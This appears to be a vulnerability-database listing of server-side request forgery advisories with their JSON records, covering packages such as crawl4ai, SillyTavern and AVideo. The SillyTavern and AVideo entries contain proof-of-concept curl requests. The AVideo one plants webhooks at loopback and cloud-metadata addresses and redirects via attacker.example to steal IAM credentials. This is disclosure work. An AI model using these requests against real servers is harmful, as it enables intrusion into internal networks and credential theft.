CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
5481 vulnerabilities reference this CWE, most recent first.
GHSA-WJRH-HJ83-3WH7
Vulnerability from github – Published: 2025-05-27 18:03 – Updated: 2025-05-27 18:03Impact
Instances of HeavySelect2Mixin subclasses like the ModelSelect2MultipleWidget and ModelSelect2Widget can secret access tokens across requests. This can allow users to access restricted querysets and restricted data.
Patches
The problem has been patched in version 8.4.1 and all following versions.
Workarounds
This vulnerability is limited use cases where instances of widget classes are created during app loading (not during a request).
Example of affected code:
class MyForm(forms.ModelForm):
class Meta:
widgets = {"my_select_field": Select2ModelWidget()}
Django allows you to pass just the widget class (not the instance). This can be used to mitigate the session request leak.
Example of affected code:
class MyForm(forms.ModelForm):
class Meta:
widgets = {"my_select_field": Select2ModelWidget}
References
Thanks to @neartik for reporting this issue. I will address it later. I had to delete your issue, to avoid exploitation of this security issue.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "django-select2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-48383"
],
"database_specific": {
"cwe_ids": [
"CWE-402",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-27T18:03:19Z",
"nvd_published_at": "2025-05-27T15:15:35Z",
"severity": "HIGH"
},
"details": "### Impact\n\nInstances of `HeavySelect2Mixin` subclasses like the `ModelSelect2MultipleWidget` and `ModelSelect2Widget` can secret access tokens across requests. This can allow users to access restricted querysets and restricted data.\n\n### Patches\n\nThe problem has been patched in version 8.4.1 and all following versions.\n\n### Workarounds\n\nThis vulnerability is limited use cases where instances of widget classes are created during app loading (not during a request).\n\nExample of affected code:\n```python\nclass MyForm(forms.ModelForm):\n class Meta:\n widgets = {\"my_select_field\": Select2ModelWidget()}\n```\n\nDjango allows you to pass just the widget class (not the instance). This can be used to mitigate the session request leak.\n\nExample of affected code:\n```python\nclass MyForm(forms.ModelForm):\n class Meta:\n widgets = {\"my_select_field\": Select2ModelWidget}\n```\n\n\n\n### References\n\nThanks to @neartik for reporting this issue. I will address it later. I had to delete your issue, to avoid exploitation of this security issue.",
"id": "GHSA-wjrh-hj83-3wh7",
"modified": "2025-05-27T18:03:19Z",
"published": "2025-05-27T18:03:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/codingjoe/django-select2/security/advisories/GHSA-wjrh-hj83-3wh7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48383"
},
{
"type": "WEB",
"url": "https://github.com/codingjoe/django-select2/commit/e5f41e6edba004d35f94915ff5e2559f44853412"
},
{
"type": "PACKAGE",
"url": "https://github.com/codingjoe/django-select2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Django-Select2 Vulnerable to Widget Instance Secret Cache Key Leaking"
}
GHSA-WM69-2PC3-RMMF
Vulnerability from github – Published: 2026-06-18 17:25 – Updated: 2026-06-18 17:25Summary
The Docker API server applied its SSRF destination check (validate_url_destination) on the non-streaming /crawl path but not on the streaming path. handle_stream_crawl_request passed seed URLs straight to the crawler with no destination validation. A remote, unauthenticated client could call POST /crawl/stream (or POST /crawl with crawler_config.stream=true, which short-circuits to the same handler) with a URL pointing at an internal, private, or link-local address; the server fetched it and streamed the response body back. The Docker API is unauthenticated by default.
Affected paths
POST /crawl/stream, and POST /crawl with crawler_config.stream=true (both route to handle_stream_crawl_request, deploy/docker/api.py).
Impact
Unauthenticated read server-side request forgery: an attacker reads internal-only services and cloud-metadata endpoints (e.g. http://169.254.169.254/ for IAM credentials), with the response body streamed back. This is the same class and severity as the project's prior "SSRF via Direct Crawl Endpoints" advisory; /crawl/stream is part of that endpoint family and was never covered by the destination check.
Fix
handle_stream_crawl_request now validates every seed URL's destination with the same global-routability check as handle_crawl_request, before any fetch. The SSRF regression test was hardened to assert per-handler coverage (including the streaming handler) rather than a bare occurrence count, which previously let this gap pass.
Workarounds
- Upgrade to the patched version (0.9.0).
- Enable authentication and restrict who can reach the API (note: this does not constrain which URL the API fetches).
- Restrict the container's outbound network access (egress firewall / no metadata route).
Credits
KOH Jun Sheng - reported the streaming-path SSRF with a runnable PoC and noted the count-based regression test that masked it, plus the shared root cause with redirect/deep-crawl link following.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.9"
},
"package": {
"ecosystem": "PyPI",
"name": "crawl4ai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T17:25:50Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe Docker API server applied its SSRF destination check (`validate_url_destination`) on the non-streaming `/crawl` path but not on the streaming path. `handle_stream_crawl_request` passed seed URLs straight to the crawler with no destination validation. A remote, unauthenticated client could call `POST /crawl/stream` (or `POST /crawl` with `crawler_config.stream=true`, which short-circuits to the same handler) with a URL pointing at an internal, private, or link-local address; the server fetched it and streamed the response body back. The Docker API is unauthenticated by default.\n\n### Affected paths\n\n`POST /crawl/stream`, and `POST /crawl` with `crawler_config.stream=true` (both route to `handle_stream_crawl_request`, `deploy/docker/api.py`).\n\n### Impact\n\nUnauthenticated read server-side request forgery: an attacker reads internal-only services and cloud-metadata endpoints (e.g. `http://169.254.169.254/` for IAM credentials), with the response body streamed back. This is the same class and severity as the project\u0027s prior \"SSRF via Direct Crawl Endpoints\" advisory; `/crawl/stream` is part of that endpoint family and was never covered by the destination check.\n\n### Fix\n\n`handle_stream_crawl_request` now validates every seed URL\u0027s destination with the same global-routability check as `handle_crawl_request`, before any fetch. The SSRF regression test was hardened to assert per-handler coverage (including the streaming handler) rather than a bare occurrence count, which previously let this gap pass.\n\n### Workarounds\n\n- Upgrade to the patched version (0.9.0).\n- Enable authentication and restrict who can reach the API (note: this does not constrain which URL the API fetches).\n- Restrict the container\u0027s outbound network access (egress firewall / no metadata route).\n\n### Credits\n\nKOH Jun Sheng - reported the streaming-path SSRF with a runnable PoC and noted the count-based regression test that masked it, plus the shared root cause with redirect/deep-crawl link following.",
"id": "GHSA-wm69-2pc3-rmmf",
"modified": "2026-06-18T17:25:50Z",
"published": "2026-06-18T17:25:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/unclecode/crawl4ai/security/advisories/GHSA-wm69-2pc3-rmmf"
},
{
"type": "PACKAGE",
"url": "https://github.com/unclecode/crawl4ai"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Crawl4AI: Unauthenticated SSRF on the Docker server streaming crawl path (/crawl/stream)"
}
GHSA-WM7J-M6JM-8797
Vulnerability from github – Published: 2026-04-01 21:42 – Updated: 2026-04-06 17:24Details
Distinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.
In src/endpoints/search.js line 419, the hostname is checked against /^\d+\.\d+\.\d+\.\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch:
- localhost (hostname, not dotted-quad)
- [::1] (IPv6 loopback)
- DNS names resolving to internal addresses (e.g. localtest.me -> 127.0.0.1)
A separate port check (urlObj.port !== '') limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.
PoC
- Start SillyTavern v1.16.0 normally
- Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):
# Blocked — dotted-quad matched by regex
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
-H "Content-Type: application/json" \
-d '{"url": "http://127.0.0.1/", "html": true}'
# Returns: 400 (blocked)
# Bypassed — "localhost" is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
-H "Content-Type: application/json" \
-d '{"url": "http://localhost/", "html": true}'
# Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)
# Bypassed — IPv6 loopback is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
-H "Content-Type: application/json" \
-d '{"url": "http://[::1]/", "html": true}'
# Returns: 500 (passed validation, fetch attempted)
The 400 vs 500 difference confirms localhost and [::1] pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.
Impact
Server-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.
Resolution
The issue was addressed in version 1.17.0 by improving IPv6 address validation
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.16.0"
},
"package": {
"ecosystem": "npm",
"name": "sillytavern"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34526"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T21:42:24Z",
"nvd_published_at": "2026-04-02T18:16:29Z",
"severity": "MODERATE"
},
"details": "### Details\nDistinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.\n\nIn `src/endpoints/search.js` line 419, the hostname is checked against `/^\\d+\\.\\d+\\.\\d+\\.\\d+$/`. This only matches literal dotted-quad IPv4 (e.g. `127.0.0.1`, `10.0.0.1`). It does not catch:\n- `localhost` (hostname, not dotted-quad)\n- `[::1]` (IPv6 loopback)\n- DNS names resolving to internal addresses (e.g. `localtest.me` -\u003e 127.0.0.1)\n\nA separate port check (`urlObj.port !== \u0027\u0027`) limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.\n\n### PoC\n1. Start SillyTavern v1.16.0 normally\n2. Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):\n```bash\n# Blocked \u2014 dotted-quad matched by regex\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"url\": \"http://127.0.0.1/\", \"html\": true}\u0027\n# Returns: 400 (blocked)\n\n# Bypassed \u2014 \"localhost\" is not dotted-quad\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"url\": \"http://localhost/\", \"html\": true}\u0027\n# Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)\n\n# Bypassed \u2014 IPv6 loopback is not dotted-quad\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"url\": \"http://[::1]/\", \"html\": true}\u0027\n# Returns: 500 (passed validation, fetch attempted)\n```\n\nThe 400 vs 500 difference confirms `localhost` and `[::1]` pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.\n\n### Impact\nServer-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.\n\n## Resolution\n\nThe issue was addressed in version 1.17.0 by improving IPv6 address validation",
"id": "GHSA-wm7j-m6jm-8797",
"modified": "2026-04-06T17:24:59Z",
"published": "2026-04-01T21:42:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-wm7j-m6jm-8797"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34526"
},
{
"type": "PACKAGE",
"url": "https://github.com/SillyTavern/SillyTavern"
},
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6"
}
GHSA-WMF6-8CMX-6FP6
Vulnerability from github – Published: 2026-08-10 00:31 – Updated: 2026-08-10 00:31A vulnerability was detected in dmitriiweb article-scraper-mcp 1.0.0. This vulnerability affects the function fetch_article of the file news_scraper_mcp/server.py. The manipulation of the argument url results in server-side request forgery. The attack may be performed from remote. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-19375"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-10T00:17:09Z",
"severity": "LOW"
},
"details": "A vulnerability was detected in dmitriiweb article-scraper-mcp 1.0.0. This vulnerability affects the function fetch_article of the file news_scraper_mcp/server.py. The manipulation of the argument url results in server-side request forgery. The attack may be performed from remote. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-wmf6-8cmx-6fp6",
"modified": "2026-08-10T00:31:42Z",
"published": "2026-08-10T00:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19375"
},
{
"type": "WEB",
"url": "https://github.com/dmitriiweb/article-scraper-mcp/issues/3"
},
{
"type": "WEB",
"url": "https://github.com/dmitriiweb/article-scraper-mcp"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-19375"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/866273"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/387259"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/387259/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WMG3-3G4F-J96J
Vulnerability from github – Published: 2022-05-24 17:49 – Updated: 2022-05-24 17:49OX App Suite 7.10.4 and earlier allows SSRF via a snippet.
{
"affected": [],
"aliases": [
"CVE-2020-28943"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-30T22:15:00Z",
"severity": "MODERATE"
},
"details": "OX App Suite 7.10.4 and earlier allows SSRF via a snippet.",
"id": "GHSA-wmg3-3g4f-j96j",
"modified": "2022-05-24T17:49:23Z",
"published": "2022-05-24T17:49:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28943"
},
{
"type": "WEB",
"url": "https://open-xchange.com"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/162406/OX-App-Suite-OX-Guard-SSRF-DoS-Cross-Site-Scripting.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WP38-WHX3-XFFH
Vulnerability from github – Published: 2026-05-05 21:49 – Updated: 2026-05-13 14:20Summary
An authenticated user can configure their own donation-notification webhook URL to point at internal/loopback/metadata hosts (e.g. http://127.0.0.1:8080/..., http://169.254.169.254/latest/..., RFC1918 addresses). When any other user (including a second account owned by the same attacker) donates even a trivial amount via plugin/CustomizeUser/donate.json.php, the AVideo server issues a curl POST to the attacker-supplied URL, resulting in a blind SSRF. The handler uses only isValidURL() (which is a format check) and does not call the codebase's own isSSRFSafeURL() helper. Additionally, CURLOPT_FOLLOWLOCATION is enabled with no per-hop revalidation, so even if the stored URL were validated, an HTTP 307 from an attacker-controlled host could redirect the POST to internal targets.
Details
Sink: unvalidated curl POST in afterDonation
plugin/YPTWallet/YPTWallet.php:1043-1099
public function afterDonation($from_users_id, $how_much, $videos_id, $users_id, $extraParameters)
{
...
$donation_notification_url = self::getDonationNotificationURL($users_id);
...
if (!empty($donation_notification_url) && isValidURL($donation_notification_url)) {
...
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $donation_notification_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 1);
curl_setopt($ch, CURLOPT_NOSIGNAL, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // line 1081
...
ob_start();
curl_exec($ch);
ob_end_clean();
The gate at line 1064 is isValidURL() only. That helper is a pure format check:
objects/functions.php:4305-4315
function isValidURL($url)
{
if (empty($url) || !is_string($url)) {
return false;
}
if (preg_match("/^http.*/", $url) && filter_var($url, FILTER_VALIDATE_URL)) {
return true;
}
return false;
}
It does not reject http://127.0.0.1, http://169.254.169.254, RFC1918 ranges, or hostnames that resolve to private IPs.
The project already ships a correct SSRF guard at objects/functions.php:4366 (isSSRFSafeURL()), which performs scheme allow-listing, hostname-to-IP resolution, loopback blocking, RFC1918 / link-local / metadata blocking, and IPv4-mapped IPv6 normalization. It is not used here.
Storage path has no SSRF validation
plugin/YPTWallet/view/saveConfiguration.php:31-33
if(isset($_REQUEST['donation_notification_url'])){
$obj->donation_notification_url = YPTWallet::setDonationNotificationURL(User::getId(), $_REQUEST['donation_notification_url']);
}
plugin/YPTWallet/YPTWallet.php:1015-1034
static function setDonationNotificationURL($users_id, $url)
{
$url = trim($url);
$url = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $url);
$url = htmlspecialchars($url, ENT_QUOTES, 'UTF-8');
if (strlen($url) > 2048) { ... }
$user = new User($users_id);
return $user->addExternalOptions('donation_notification_url', $url);
}
No host/IP/scheme validation. A value like http://127.0.0.1:8080/internal contains none of & < > " ', so htmlspecialchars preserves it verbatim.
Trigger
plugin/CustomizeUser/donate.json.php:88,108
if (YPTWallet::transferBalance(User::getId(), $video->getUsers_id(), $value, ...)) {
...
AVideoPlugin::afterDonation(User::getId(), $value, $videos_id, 0, $obj->extraParameters);
}
...
if (YPTWallet::transferBalance(User::getId(), $users_id, $value, ...)) {
...
AVideoPlugin::afterDonation(User::getId(), $value, 0, $users_id, $obj->extraParameters);
}
Donor must have wallet balance; captcha is required unless disableCaptchaOnWalletDirectTransferDonation is set. An attacker can use two accounts they control: the recipient configures the webhook, the donor (any balance they obtained) triggers the call with a trivial transfer.
FOLLOWLOCATION bypass
Even if isSSRFSafeURL() were added to the upfront check on the stored URL, CURLOPT_FOLLOWLOCATION=true with no per-redirect host validation allows the attacker to point the webhook at an external host they control and return HTTP 307, which preserves the POST method and forwards the body to e.g. http://169.254.169.254/latest/... or any RFC1918 endpoint.
What escapes to the internal request
The POST body is http_build_query($data) where $data contains from_users_id, from_users_name, currency, how_much_human, how_much, message (attacker-controlled from the donate.json.php request), videos_id, users_id, time, and extraParameters. Headers include X-Webhook-Signature: sha256=... and X-Webhook-Timestamp. The response is discarded (ob_start / ob_end_clean, return value ignored), so this is a blind SSRF — exfiltration must use out-of-band channels.
PoC
Prerequisites: two authenticated accounts on the target — Alice (attacker/recipient of donation) and Bob (attacker's second account with a small wallet balance). Captcha is assumed enabled (default).
Step 1 — Alice stores an internal-host webhook URL. No CSRF token is required on this endpoint:
curl -sS -b cookies_alice.txt -X POST 'https://target/plugin/YPTWallet/view/saveConfiguration.php' \
--data-urlencode 'donation_notification_url=http://127.0.0.1:8080/internal/admin/action' \
--data-urlencode 'CryptoWallet='
Response body includes the stored donation_notification_url plus Alice's webhook_secret (the signature is computed with Alice's own secret, so there is no cross-user signature leak).
Step 2 — Start a listener on the target host to observe the blind request:
# On the target server
nc -lvp 8080
Step 3 — Bob donates the minimum amount to Alice (captcha solved):
curl -sS -b cookies_bob.txt -X POST 'https://target/plugin/CustomizeUser/donate.json.php' \
--data 'value=0.01&users_id=<alice_user_id>&message=x&captcha=<solved_value>'
donate.json.php:108 calls AVideoPlugin::afterDonation(...).
Step 4 — Observe the netcat listener: the AVideo server issues:
POST /internal/admin/action HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: <AVideo UA>
Content-Type: application/x-www-form-urlencoded
X-Webhook-Signature: sha256=<hmac>
X-Webhook-Timestamp: <epoch>
Content-Length: ...
from_users_id=<bob>&from_users_name=...¤cy=...&how_much_human=...&how_much=0.01&message=x&videos_id=0&users_id=<alice>&time=...&extraParameters[...]=...
Confirmed: the vulnerable server reaches the loopback port on behalf of the attacker.
Step 5 — FOLLOWLOCATION bypass. Alice registers an external URL she controls:
curl -sS -b cookies_alice.txt -X POST 'https://target/plugin/YPTWallet/view/saveConfiguration.php' \
--data-urlencode 'donation_notification_url=https://attacker.example/r' \
--data-urlencode 'CryptoWallet='
Alice's web server at attacker.example/r responds to the POST with:
HTTP/1.1 307 Temporary Redirect
Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/
Because CURLOPT_FOLLOWLOCATION=true and HTTP 307 preserves method, the AVideo host re-issues the POST to the cloud metadata endpoint. This demonstrates that any future fix that only validates the stored URL (without disabling follow-redirects or validating each hop) remains bypassable.
Impact
- Blind SSRF from authenticated low-privileged users. An attacker reaches internal-only network resources from the AVideo server: loopback services, RFC1918 hosts on the same VPC, cloud metadata endpoints, and any other host the AVideo server can route to.
- State-changing POST to internal endpoints. Because the request method is fixed to POST and the body is attacker-influenced (the
messagefield is user-supplied), an attacker can trigger POST-handled internal admin endpoints, Redis/memcached HTTP-ish consoles, or webhook receivers that accept arbitrary POST bodies. - Cloud metadata reachability via 307 redirect chain. Follow-location support enables redirection into RFC1918 / 169.254.169.254 even if stored-URL validation is later added. Metadata endpoints that accept POST (or GET-via-redirect once the chain involves a 302/303 downgrade) become reachable.
- Blindness limits direct data exfiltration (the response is discarded) but does not prevent state-changing requests, port-probe timing, or DNS-rebinding timing side channels.
- No CSRF protection on
saveConfiguration.php, so this can also be compounded with a forced-browsing or CSRF vector against an authenticated user to plant the webhook on a victim's account.
Recommended Fix
- Call
isSSRFSafeURL()on both the store path and the dispatch path. Inplugin/YPTWallet/YPTWallet.php:1015(setter) and line 1064 (dispatcher), replace:
if (!empty($donation_notification_url) && isValidURL($donation_notification_url)) {
with:
$resolvedIP = null;
if (!empty($donation_notification_url) && isSSRFSafeURL($donation_notification_url, $resolvedIP)) {
and reject the URL in setDonationNotificationURL() before persisting:
static function setDonationNotificationURL($users_id, $url)
{
$url = trim($url);
$url = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $url);
if (!isSSRFSafeURL($url)) {
_error_log("setDonationNotificationURL: rejected SSRF-unsafe URL for user {$users_id}");
return false;
}
if (strlen($url) > 2048) { ... }
$url = htmlspecialchars($url, ENT_QUOTES, 'UTF-8');
...
}
- Disable automatic redirect following, or implement per-hop validation. Either:
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
Or use CURLOPT_REDIR_PROTOCOLS limited to CURLPROTO_HTTP | CURLPROTO_HTTPS and pin DNS via CURLOPT_RESOLVE using the $resolvedIP from isSSRFSafeURL(), then follow redirects manually by re-validating each Location: header with isSSRFSafeURL() before re-issuing the request.
- Add DNS-pinning to defeat DNS rebinding between the validation and the curl call:
$parts = parse_url($donation_notification_url);
$port = $parts['port'] ?? (($parts['scheme'] ?? 'http') === 'https' ? 443 : 80);
curl_setopt($ch, CURLOPT_RESOLVE, ["{$parts['host']}:{$port}:{$resolvedIP}"]);
- Add a CSRF/global-token check on
plugin/YPTWallet/view/saveConfiguration.php(consistent with the token validation added elsewhere in the codebase in commit11e7804f7) to prevent webhook planting via CSRF on a victim's authenticated session.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43879"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T21:49:23Z",
"nvd_published_at": "2026-05-11T22:22:12Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nAn authenticated user can configure their own donation-notification webhook URL to point at internal/loopback/metadata hosts (e.g. `http://127.0.0.1:8080/...`, `http://169.254.169.254/latest/...`, RFC1918 addresses). When any other user (including a second account owned by the same attacker) donates even a trivial amount via `plugin/CustomizeUser/donate.json.php`, the AVideo server issues a `curl` POST to the attacker-supplied URL, resulting in a blind SSRF. The handler uses only `isValidURL()` (which is a format check) and does not call the codebase\u0027s own `isSSRFSafeURL()` helper. Additionally, `CURLOPT_FOLLOWLOCATION` is enabled with no per-hop revalidation, so even if the stored URL were validated, an HTTP 307 from an attacker-controlled host could redirect the POST to internal targets.\n\n## Details\n\n### Sink: unvalidated curl POST in afterDonation\n\n`plugin/YPTWallet/YPTWallet.php:1043-1099`\n\n```php\npublic function afterDonation($from_users_id, $how_much, $videos_id, $users_id, $extraParameters)\n{\n ...\n $donation_notification_url = self::getDonationNotificationURL($users_id);\n ...\n if (!empty($donation_notification_url) \u0026\u0026 isValidURL($donation_notification_url)) {\n ...\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, $donation_notification_url);\n curl_setopt($ch, CURLOPT_POST, true);\n curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, CURLOPT_HEADER, false);\n curl_setopt($ch, CURLOPT_TIMEOUT, 1);\n curl_setopt($ch, CURLOPT_NOSIGNAL, true);\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // line 1081\n ...\n ob_start();\n curl_exec($ch);\n ob_end_clean();\n```\n\nThe gate at line 1064 is `isValidURL()` only. That helper is a pure format check:\n\n`objects/functions.php:4305-4315`\n\n```php\nfunction isValidURL($url)\n{\n if (empty($url) || !is_string($url)) {\n return false;\n }\n if (preg_match(\"/^http.*/\", $url) \u0026\u0026 filter_var($url, FILTER_VALIDATE_URL)) {\n return true;\n }\n return false;\n}\n```\n\nIt does not reject `http://127.0.0.1`, `http://169.254.169.254`, RFC1918 ranges, or hostnames that resolve to private IPs.\n\nThe project already ships a correct SSRF guard at `objects/functions.php:4366` (`isSSRFSafeURL()`), which performs scheme allow-listing, hostname-to-IP resolution, loopback blocking, RFC1918 / link-local / metadata blocking, and IPv4-mapped IPv6 normalization. It is not used here.\n\n### Storage path has no SSRF validation\n\n`plugin/YPTWallet/view/saveConfiguration.php:31-33`\n\n```php\nif(isset($_REQUEST[\u0027donation_notification_url\u0027])){\n $obj-\u003edonation_notification_url = YPTWallet::setDonationNotificationURL(User::getId(), $_REQUEST[\u0027donation_notification_url\u0027]);\n}\n```\n\n`plugin/YPTWallet/YPTWallet.php:1015-1034`\n\n```php\nstatic function setDonationNotificationURL($users_id, $url)\n{\n $url = trim($url);\n $url = preg_replace(\u0027/[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F\\x7F]/\u0027, \u0027\u0027, $url);\n $url = htmlspecialchars($url, ENT_QUOTES, \u0027UTF-8\u0027);\n if (strlen($url) \u003e 2048) { ... }\n $user = new User($users_id);\n return $user-\u003eaddExternalOptions(\u0027donation_notification_url\u0027, $url);\n}\n```\n\nNo host/IP/scheme validation. A value like `http://127.0.0.1:8080/internal` contains none of `\u0026 \u003c \u003e \" \u0027`, so `htmlspecialchars` preserves it verbatim.\n\n### Trigger\n\n`plugin/CustomizeUser/donate.json.php:88,108`\n\n```php\nif (YPTWallet::transferBalance(User::getId(), $video-\u003egetUsers_id(), $value, ...)) {\n ...\n AVideoPlugin::afterDonation(User::getId(), $value, $videos_id, 0, $obj-\u003eextraParameters);\n}\n...\nif (YPTWallet::transferBalance(User::getId(), $users_id, $value, ...)) {\n ...\n AVideoPlugin::afterDonation(User::getId(), $value, 0, $users_id, $obj-\u003eextraParameters);\n}\n```\n\nDonor must have wallet balance; captcha is required unless `disableCaptchaOnWalletDirectTransferDonation` is set. An attacker can use two accounts they control: the recipient configures the webhook, the donor (any balance they obtained) triggers the call with a trivial transfer.\n\n### FOLLOWLOCATION bypass\n\nEven if `isSSRFSafeURL()` were added to the upfront check on the stored URL, `CURLOPT_FOLLOWLOCATION=true` with no per-redirect host validation allows the attacker to point the webhook at an external host they control and return HTTP 307, which preserves the POST method and forwards the body to e.g. `http://169.254.169.254/latest/...` or any RFC1918 endpoint.\n\n### What escapes to the internal request\n\nThe POST body is `http_build_query($data)` where `$data` contains `from_users_id`, `from_users_name`, `currency`, `how_much_human`, `how_much`, `message` (attacker-controlled from the donate.json.php request), `videos_id`, `users_id`, `time`, and `extraParameters`. Headers include `X-Webhook-Signature: sha256=...` and `X-Webhook-Timestamp`. The response is discarded (`ob_start` / `ob_end_clean`, return value ignored), so this is a **blind** SSRF \u2014 exfiltration must use out-of-band channels.\n\n## PoC\n\nPrerequisites: two authenticated accounts on the target \u2014 